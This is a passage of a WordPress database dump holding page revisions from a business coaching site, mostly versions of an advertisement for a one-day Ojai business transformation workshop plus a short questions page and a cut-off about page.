(481, 1, '2009-07-09 12:55:37', '2009-07-09 19:55:37', '<h2><span style="color: #ff6600;">The business of creating what you want in your business and in life requires introspection and answers to deeper questions – the more evocative inner questions of "why and for what purpose", who do I serve, or what is most important to me"... these are kinds the big burning questions we ask you here. Select one or all, and leave your answer as a comment.\r\n</span></h2>\r\n<h2><a href="http://whc.fbdev.org/big-burning-questions/the-first-big-burning-question/">What matters to you?</a></h2>\r\n<h2><a href="http://whc.fbdev.org/big-burning-questions/the-second-big-burning-question/">How much is enough?</a></h2>\r\n<h2>What does doing great work mean to you?</h2>\r\n<h2><a href="http://whc.fbdev.org/big-burning-questions/the-fourth-big-burning-question/">What are you grateful for?</a></h2>\r\n<h2></h2>\r\n<h4><span style="color: #333333;">Follow along here with the growing dialogue of creative entrepreneurs just like you, who share their answers through their comments. There might be a nugget of useful wisdom just waiting for you to employ in your business– left by someone who has paved a way before you. Open minds attract big ideas. We''ll work hard to keep the dialogue fresh and interesting by changing up the questions from time-to-time, based on the direction you want the conversation to go in.</span></h4>', 'The Big Burning Questions', 0, '', 'inherit', 'open', 'open', '', '179-revision-16', '', '', '2009-07-09 12:55:37', '2009-07-09 19:55:37', '', 179, 'http://www.whitehotcenter.com/179-revision-16/', 0, 'revision', '', 0),
(482, 1, '2009-07-09 15:01:59', '2009-07-09 22:01:59', '<h2><span style="color: #ff6600;">The business of creating what you want in your business and in life requires introspection and answers to deeper questions – the more evocative inner questions of "why and for what purpose", who do I serve, or what is most important to me"... these are kinds the big burning questions we ask you here. Select one or all, and leave your answer as a comment.\r\n</span></h2>\r\n<h2><a href="http://whc.fbdev.org/big-burning-questions/the-first-big-burning-question/">What matters to you?</a></h2>\r\n<h2><a href="http://whc.fbdev.org/big-burning-questions/the-second-big-burning-question/">How much is enough?</a></h2>\r\n<h2><a href="http://whc.fbdev.org/big-burning-questions/the-third-big-burning-question/">What does doing great work mean to you?</a></h2>\r\n<h2><a href="http://whc.fbdev.org/big-burning-questions/the-fourth-big-burning-question/">What are you grateful for?</a></h2>\r\n<h4><span style="color: #333333;">Follow along here with the growing dialogue of creative entrepreneurs just like you, who share their answers through their comments. There might be a nugget of useful wisdom just waiting for you to employ in your business– left by someone who has paved a way before you. Open minds attract big ideas. We''ll work hard to keep the dialogue fresh and interesting by changing up the questions from time-to-time, based on the direction you want the conversation to go in.</span></h4>', 'The Big Burning Questions', 0, '', 'inherit', 'open', 'open', '', '179-revision-17', '', '', '2009-07-09 15:01:59', '2009-07-09 22:01:59', '', 179, 'http://www.whitehotcenter.com/179-revision-17/', 0, 'revision', '', 0),
(483, 1, '2009-07-09 15:04:31', '2009-07-09 22:04:31', '<h2><span style="color: #ff6600;">The business of creating what you want in your business and in life requires introspection and answers to deeper questions – the more evocative inner questions of "why and for what purpose", who do I serve, or what is most important to me"... these are kinds the big burning questions we ask you here. Select one or all, and leave your answer as a comment.\r\n</span></h2>\r\n<ul>\r\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-first-big-burning-question/">What matters to you?</a></li>\r\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-second-big-burning-question/">How much is enough?</a></li>\r\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-third-big-burning-question/">What does doing great work mean to you?</a></li>\r\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-fourth-big-burning-question/">What are you grateful for?</a></li>\r\n</ul>\r\n<h4><span style="color: #333333;">Follow along here with the growing dialogue of creative entrepreneurs just like you, who share their answers through their comments. There might be a nugget of useful wisdom just waiting for you to employ in your business– left by someone who has paved a way before you. Open minds attract big ideas. We''ll work hard to keep the dialogue fresh and interesting by changing up the questions from time-to-time, based on the direction you want the conversation to go in.</span></h4>', 'The Big Burning Questions', 0, '', 'inherit', 'open', 'open', '', '179-revision-18', '', '', '2009-07-09 15:04:31', '2009-07-09 22:04:31', '', 179, 'http://www.whitehotcenter.com/179-revision-18/', 0, 'revision', '', 0),
(484, 2, '2014-05-13 12:27:28', '2014-05-13 19:27:28', '&nbsp;\n\n<img class="alignnone size-full wp-image-2386" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference1.jpg" alt="" width="495" height="188" />\n\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\n\n<iframe src="http://www.youtube.com/embed/ZhBhjF7ocW0" frameborder="0" width="490" height="249"></iframe>\n<h2><strong>White Hot Center Presents:\nThe Quantum Leap\nBusiness Transformation Workshop</strong><strong>\n</strong></h2>\n<h2><strong>Strategies for Creating Competitive Advantage\nfor Entrepreneurs, Solo Professionals and Small Business Owners\nNovember 7, 2014\nOjai, California\n</strong></h2>\n<h2><strong>Facilitated by\nThomson Dawson\nStrategic Brand Development\nand Business Transformation Expert\n</strong></h2>\n<h2><span style="color: #ff8c00;">A one-day intensive business transformation workshop designed to guide early stage entrepreneurs, solo professionals and small business owners to build a solid foundation for brand strategy, marketing, business development and sales success.</span></h2>\nWatch the video to learn more about what we’ll cover in the workshop.\n\n<strong>Transforming your business for the next level of growth.</strong>\n\nIf you’re an early stage entrepreneur, self-employed professional or small business owner, you know the importance of having a steady stream of clients and customers coming your way. The truth is many entrepreneurs struggle creating a consistent stream of higher value clients. Many more resist the marketing and sales process altogether opting instead to rely only on referrals for new business.\n\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive marketplace today, you must embrace the idea of building your brand, marketing your value with consistency, and the mastery of business development, lead generation and sales pipeline as the essential skill for your business success.\n\nMore importantly, you’ll need to stay in the right frame of mind to guide your creativity and effective actions, if you are to turn your greater possibilities into achievement.\n\nThe reality in today’s new economy is clients and customers have abundant choice. When clients have abundant choice, competition and commoditization become the dominant forces in the marketplace. In this unique seminar you’ll learn the strategies and practices that will enable you to make competition irrelevant!\n\nHere’s what you’ll learn:\n\n<strong>Principles on mastering the "inner game" of business and life success.</strong>\n\n<strong>How to gain radical advantage over would-be competitors in an ultra-competitive marketplace.</strong>\n\n<strong>How to target and find the right clients who are a perfect fit for you.</strong>\n\n<strong>How to differentiate your business from alternatives to your firm in ways that matter to your clients!</strong>\n\n<strong>How to command premium prices and greater profit margins when your competitors are discounting their price to win business.</strong>\n\n<strong>How to develop a compelling brand that represents your value to customers in ways that enable you to command premium pricing.</strong>\n\n<strong>How to master your personal effectiveness and performance.</strong>\n\n<strong>How to create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of products and services you’ll offer higher value customers.</strong>\n<h2> <strong>If you’re serious about growing your business to the next level so you can have more impact, influence and income, you will not want to miss attending this strategic business transformation workshop designed and facilitated by Business Transformation and Brand Strategy expert Thomson Dawson.\n</strong></h2>\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop1.jpg"><img class="alignnone size-full wp-image-2586" title="Thomson Dawson Quantum Leap Workship" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop1.jpg" alt="" width="497" height="632" /></a>\n<h2><strong></strong> <span style="color: #ff8c00;">Spend one important day working on your business rather than in it. Spend one day building a solid framework and foundation for your brand, business development and sales success. Spend one day innovating your bigger, better future and get your business to the next level.</span></h2>\n<strong>Who should attend?</strong>\nWe’ve developed this transformational business transformation workshop for all early stage  entreprenuers,  solo professionals and small business owners and their teams who seek insight, guidance and creativity to take their business to the next level.\n\n<strong>Investment:</strong>\n$695.00 USD per person\nSpecial discount of $50 off for early registration prior to October 1, 2014\nAdditional discount of $30 off for each additional person in your firm prior to October 1, 2014.\n\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\n\nTuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\n\n<strong>This workshop is limited to 24 participants.</strong>\n<h3><span style="color: #888888;">Early Registration\n</span></h3>\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accommodations, and how to confirm your spot in early registration prior to October 1, 2014. This workshop has limited capacity and will fill up quickly.\n<h3><a title="Quantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank"><strong>Register Now and Save!</strong></a></h3>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-autosave-v1', '', '', '2014-05-13 12:27:28', '2014-05-13 19:27:28', '', 145, 'http://www.whitehotcenter.com/145-autosave/', 0, 'revision', '', 0),
(2422, 2, '2013-08-04 15:33:30', '2013-08-04 22:33:30', '<h2><strong>White Hot Center Presents:\r\nThe Quantum Leap\r\nBusiness Transformation Workshop</strong><strong><span style="color: #dd9703;">\r\nStrategies for Creating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage for Early-Stage Entrepreneurs\r\n<span style="color: #000000;">November 8th, 2013</span></span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by\r\nThomson Dawson\r\nBusiness Transformation Consultant to Creative Entrepreneuers\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<img class="alignnone size-full wp-image-2386" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference1.jpg" alt="" width="495" height="188" />\r\n\r\n<iframe src="http://www.youtube.com/embed/ZhBhjF7ocW0" frameborder="0" width="490" height="249"></iframe>\r\n<h2>A one-day intensive business transformation workshop designed to guide early stage creative entrepreneurs and solo professionals who want to build a solid foundation for brand marketing, business development and sales success at the early stage of their business. Watch the video to learn more about what we''ll cover in the workshop.</h2>\r\n<h1><span style="color: #808080;">\r\nWithout sales there is no business</span><span style="color: #808080;"><strong>!</strong></span></h1>\r\nIf you’re an early stage entrepreneur or self-employed creative professional, you know the importance of having a steady stream of clients and customers coming your way. The truth is many early-stage entrepreneurs struggle finding a steady stream of higher value clients. Many more resist the marketing and sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive marketplace today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater <strong>possibilities into achievement</strong>.\r\n\r\n<strong>Clients have abundant choice.\r\n\r\n</strong>Let’s face it, when clients have abundant choice, competition is always fierce. How do you gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when your competitors are discounting their price to win business?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business, you will not want to miss attending this strategic business development workshop designed and facilitated by <a href="http://whc.fbdev.org/contact/" target="_blank">Thomson Dawson, Business Transformation Consultant to Creative Entrepreneurs.</a>\r\n\r\n<img class="alignnone size-full wp-image-2382" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/06/thomson-sd-1.jpg" alt="" width="515" height="361" />\r\n<h2><strong></strong> Spend one important day working on your business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this transformational business development workshop for all early-stage creative entreprenuers  and solo professionals who seek insight, guidance and creativity to take their business to the next level.\r\n\r\n<strong>Investment:</strong>\r\n$995.00 USD per person\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\nAdditional discount of $50 off for each additional person in your firm prior to September 30, 2013.\r\n\r\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #888888;">Early Registration\r\n</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly.\r\n\r\n<strong>Register Now and Save!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2013-08-04 15:33:30', '2013-08-04 22:33:30', '', 145, 'http://www.whitehotcenter.com/2013/08/145-revision-138/', 0, 'revision', '', 0),
(2258, 2, '2013-05-20 13:09:12', '2013-05-20 20:09:12', '<h2><strong>White Hot Center Presents:\r\nThe Quantum Leap\r\nBusiness Transformation Workshop</strong><strong><span style="color: #dd9703;">\r\nStrategies for Creating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage for Early-Stage Entrepreneurs\r\n<span style="color: #000000;">November, 2013</span></span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by\r\nThomson Dawson\r\nBusiness Transformation Consultant to Creative Entrepreneuers\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<iframe src="http://www.youtube.com/embed/ZhBhjF7ocW0" frameborder="0" width="490" height="249"></iframe>\r\n<h2>A one-day intensive business transformation workshop designed to guide early stage creative entrepreneurs and solo professionals who want to build a solid foundation for brand marketing, business development and sales success at the early stage of their business. Watch the video to learn more about what we''ll cover in the workshop.</h2>\r\n<h1><span style="color: #808080;">\r\nWithout sales there is no business</span><span style="color: #808080;"><strong>!</strong></span></h1>\r\n&nbsp;\r\n\r\nIf you’re an early stage entrepreneur or self-employed creative professional, you know the importance of having a steady stream of clients and customers coming your way. The truth is many early-stage entrepreneurs struggle finding a steady stream of higher value clients. Many more resist the marketing and sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive marketplace today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\n</strong>Let’s face it, when clients have abundant choice, competition is always fierce. How do you gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when your competitors are discounting their price to win business?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business, you will not want to miss attending this strategic business development workshop designed and facilitated by <a href="http://whc.fbdev.org/contact/" target="_blank">Thomson Dawson, Business Transformation Consultant to Creative Entrepreneurs.</a>\r\n<h2><strong></strong> Spend one important day working on your business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this transformational business development workshop for all early-stage creative entreprenuers who seek insight, guidance and creativity to take their business to the next level.\r\n\r\n<strong>Investment:</strong>\r\n$895.00 USD per person\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\nAdditional discount of $50 off for each additional person in your firm prior to September 30, 2013.\r\n\r\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #888888;">Early Registration\r\n</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly.\r\n<strong>Register Now and Save!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2013-05-20 13:09:12', '2013-05-20 20:09:12', '', 145, 'http://www.whitehotcenter.com/2013/05/145-revision-134/', 0, 'revision', '', 0),
(2255, 2, '2012-07-25 15:05:53', '2012-07-25 22:05:53', '<h2><strong>White Hot Center Presents:\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business\r\n<span style="color: #000000;">November, 2012</span></span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<iframe src="http://www.youtube.com/embed/ZhBhjF7ocW0" frameborder="0" width="490" height="249"></iframe>\r\n<h2>A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business. Watch the video to learn more about what we''ll cover in the workshop.</h2>\r\n<h1><span style="color: #808080;">\r\nWithout sales there is no business</span><span style="color: #808080;"><strong>!</strong></span></h1>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many early-stage creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\nThere is no shortage of creative talent in the marketplace.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business, you will not want to miss attending this business development workshop designed and facilitated by <a href="http://whc.fbdev.org/contact/" target="_blank">Thomson Dawson, Business Development Consultant to Creative Entrepreneurs and Solo Professionals.</a>\r\n<h2><strong></strong>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including:  designers in all discipines, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about any self-employed professional in the business of creative output for hire.\r\n\r\n<strong>The Investment:</strong>\r\n$800.00 USD per person\r\nSpecial discount of $100 off for early registration prior to September 30, 2012\r\nAdditional discount of $50 off for each additional person in your firm prior to September 30, 2012.\r\n\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #888888;">Early Registration\r\n</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2012. This workshop has limited capacity and will fill up quickly.\r\n<strong>Register Now and Save!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-07-25 15:05:53', '2012-07-25 22:05:53', '', 145, 'http://www.whitehotcenter.com/2012/07/145-revision-131/', 0, 'revision', '', 0),
(2107, 2, '2012-03-02 15:57:35', '2012-03-02 22:57:35', '<h2><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business\r\n<span style="color: #000000;">June 15, 2012</span></span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<iframe src="http://www.youtube.com/embed/ZhBhjF7ocW0" frameborder="0" width="490" height="249"></iframe>\r\n<h2>A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business. Watch the video to learn more.</h2>\r\n<h1><span style="color: #808080;">\r\nWithout sales there is no business</span><span style="color: #808080;"><strong>!</strong></span></h1>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many early-stage creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\nThere is no shortage of creative talent in the marketplace.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business, you will not want to miss attending this business development workshop designed and facilitated by <a href="http://whc.fbdev.org/contact/" target="_blank">Thomson Dawson, Business Development Consultant to Creative Entrepreneurs and Solo Professionals.</a>\r\n<h2><strong></strong>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including:  designers in all discipines, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about any self-employed professional in the business of creative output for hire.\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off for early registration prior to April 30, 2012\r\nAdditional discount of $50 off for each additional person in your firm prior to April 30, 2012.\r\n\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #888888;">Early Registration\r\n</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to April 30, 2012. This workshop has limited capacity and will fill up quickly.\r\n<strong>Register Now and Save!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-02 15:57:35', '2012-03-02 22:57:35', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-130/', 0, 'revision', '', 0),
(1914, 2, '2012-01-24 02:30:37', '2012-01-24 09:30:37', '&nbsp;\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank"><span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="Competition Proof Your Business EBook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></span></a>\r\n<h2><strong>Many creative entrepreneurs are so focused on the creative output of their work, they struggle keeping their business above the feast and famine cycle of a business model that requires a constant flow of projects. Every solo professional wants to have more opportunity than capacity.  Business development, for many creative business owners, is what they do when there’s not enough work in the shop.</strong></h2>\r\nIn this useful guide, author, entrepreneur, brand strategy and business development consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your creative business.<span style="color: #333333;"> In an age of commoditization in every professional business service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence and impact with your clients! Follow the advice and you’ll experience greater results in business development success. </span>\r\n<h2><span style="color: #333333;"><strong>Quantum Leap\r\nBusiness Development Workshop</strong></span>\r\n<span style="color: #ff7f50;"> <strong> Creating Competitive\r\nAdvantage in your Creative Business\r\n<span style="color: #333333;">Facilitated by Thomson Dawson</span></strong></span></h2>\r\n<span style="color: #333333;"><strong> <a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<strong>Watch the video as Thomson shares the core ideas covered in the Quantum Leap Business Development Workshop.</strong>\r\n\r\nThis full-day strategic planning workshop is specifically designed to address business development issues faced by creative entrepreneurs and solo professionals who are seeking to have more impact and influence in the sales process. Participants learn to adopt key business development strategies and tactics that create competitive advantage, and helps them to attract more opportunity. Workshop participants learn:\r\n\r\n<strong>•  To adopt the thinking habits of a proper mindset for success\r\n•  How to create a pipeline full of early-stage buyers\r\n•  How to develop higher value clients and business relationships\r\n•  To elevate their impact and influence with clients in the buying process\r\n•  How to make competitors irrelevant\r\n•  How to command premium fees for services\r\n</strong>\r\n\r\nThis workshop is limited to 30 participants. For information on the investment, location and time of the next available workshop, send an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with information on how confirm your spot.<strong></strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-01-24 02:30:37', '2012-01-24 09:30:37', '', 145, 'http://www.whitehotcenter.com/2012/01/145-revision-97/', 0, 'revision', '', 0),
(1897, 2, '2012-01-23 18:00:44', '2012-01-24 01:00:44', '', 'thomson', 0, '', 'inherit', 'open', 'open', '', 'thomson-4', '', '', '2012-01-23 18:00:44', '2012-01-24 01:00:44', '', 145, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/thomson.jpg', 0, 'attachment', 'image/jpeg', 0),
(1571, 2, '2011-04-12 09:51:02', '2011-04-12 16:51:02', '', 'innovation.cover_', 0, '', 'inherit', 'open', 'open', '', 'innovation-cover_', '', '', '2011-04-12 09:51:02', '2011-04-12 16:51:02', '', 138, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/innovation.cover_.jpg', 0, 'attachment', 'image/jpeg', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_category`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(1572, 2, '2011-01-04 11:53:42', '2011-01-04 18:53:42', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nMy purpose is to inspire, guide and create ideas for successful, early stage entrepreneurs and solo professionals you seek greater clarity, confidence and velocity to pursue their best opportunities to have more impact, influence and income. I pledge all my talent, knowledge and expertise to help you imagine and believe in a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nThrough insight, guidance and creativity, our work together will focus on ideas, strategy and tactics for mastering the inner (creative plane), and outer (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpand the quality of your presence and influence by elevating your thoughts, your effectiveness, and your contribution to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDesign a compelling vision for your total life experience based solely on what truly matters to you, living harmoniously from your own white hot center.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to develop ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.</strong></span></h2>\r\n<span style="color: #808080;"><strong>\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong> </strong></span><strong>Three decades of business development expertise.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a successful, creative entrepreneur, designer, writer, creative director, brand strategy and marketing consultant. I provide insight, guidance and creativity to senior executives in diverse global companies and to owners of small start-ups alike. My expertise contributes to their capabilities, improves their 